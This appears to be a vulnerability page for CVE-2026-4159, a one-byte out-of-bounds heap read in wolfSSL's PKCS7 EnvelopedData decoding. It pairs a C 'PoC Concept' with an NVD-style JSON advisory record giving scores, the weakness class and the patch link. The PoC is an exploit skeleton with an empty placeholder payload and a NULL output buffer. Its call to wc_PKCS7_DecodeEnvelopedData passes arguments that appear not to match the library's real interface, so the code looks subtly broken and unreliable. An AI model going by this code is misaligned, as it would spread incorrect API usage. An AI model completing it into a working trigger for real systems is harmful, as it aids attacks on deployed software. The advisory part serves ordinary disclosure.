CVE-2026-4159

/* * PoC Concept for CVE-2026-4159 * This code demonstrates how to trigger the OOB read by passing * a crafted CMS EnvelopedData blob with zero-length encrypted content. */ #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/pkcs7.h> #include <stdio.h> int main() { int ret; byte* der = NULL; word32 derSz = 0; byte* out = NULL; word32 outSz = 0; byte key[16] = {0}; // Dummy key byte iv[16] = {0}; // Dummy IV // Placeholder for the crafted ASN.1 DER data representing // a CMS EnvelopedData structure with zero-length encrypted content. // In a real exploit, this byte array would contain the specific // malicious sequence. byte malicious_payload[] = { /* Insert crafted DER bytes here */ }; word32 payload_len = sizeof(malicious_payload); // Initialize wolfSSL (not shown for brevity) // wolfSSL_Init(); printf("Attempting to parse malicious PKCS7 data...\n"); // This call triggers wc_PKCS7_DecodeEnvelopedData // If vulnerable, it will read 1 byte out of bounds on the heap. ret = wc_PKCS7_DecodeEnvelopedData( malicious_payload, payload_len, key, iv, // Decryption context out, &outSz // Output buffer ); if (ret != 0) { printf("Error processing data (expected or crash occurred). Code: %d\n", ret); } else { printf("Data processed.\n"); } return 0; }

{"cve": {"id": "CVE-2026-4159", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:42.993", "lastModified": "2026-04-29T17:27:15.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "1-byte OOB heap read in wc_PKCS7_DecodeEnvelopedData via zero-length encrypted content. A vulnerability existed in wolfSSL 5.8.4 and earlier, where a 1-byte out-of-bounds heap read in wc_PKCS7_DecodeEnvelopedData could be triggered by a crafted CMS EnvelopedData message with zero-length encrypted content. Note that PKCS7 support is disabled by default."}, {"lang": "es", "value": "Lectura de montón fuera de límites (OOB) de 1 byte en wc_PKCS7_DecodeEnvelopedData a través de contenido cifrado de longitud cero. Existía una vulnerabilidad en wolfSSL 5.8.4 y anteriores, donde una lectura de montón fuera de límites de 1 byte en wc_PKCS7_DecodeEnvelopedData podría ser activada por un mensaje CMS EnvelopedData manipulado con contenido cifrado de longitud cero. Tenga en cuenta que el soporte de PKCS7 está deshabilitado por defecto."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Green", "baseScore": 1.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.0", "matchCriteriaId": "DA3FA1CB-CEDC-4D49-9ECD-99BBF1602312"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9945", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}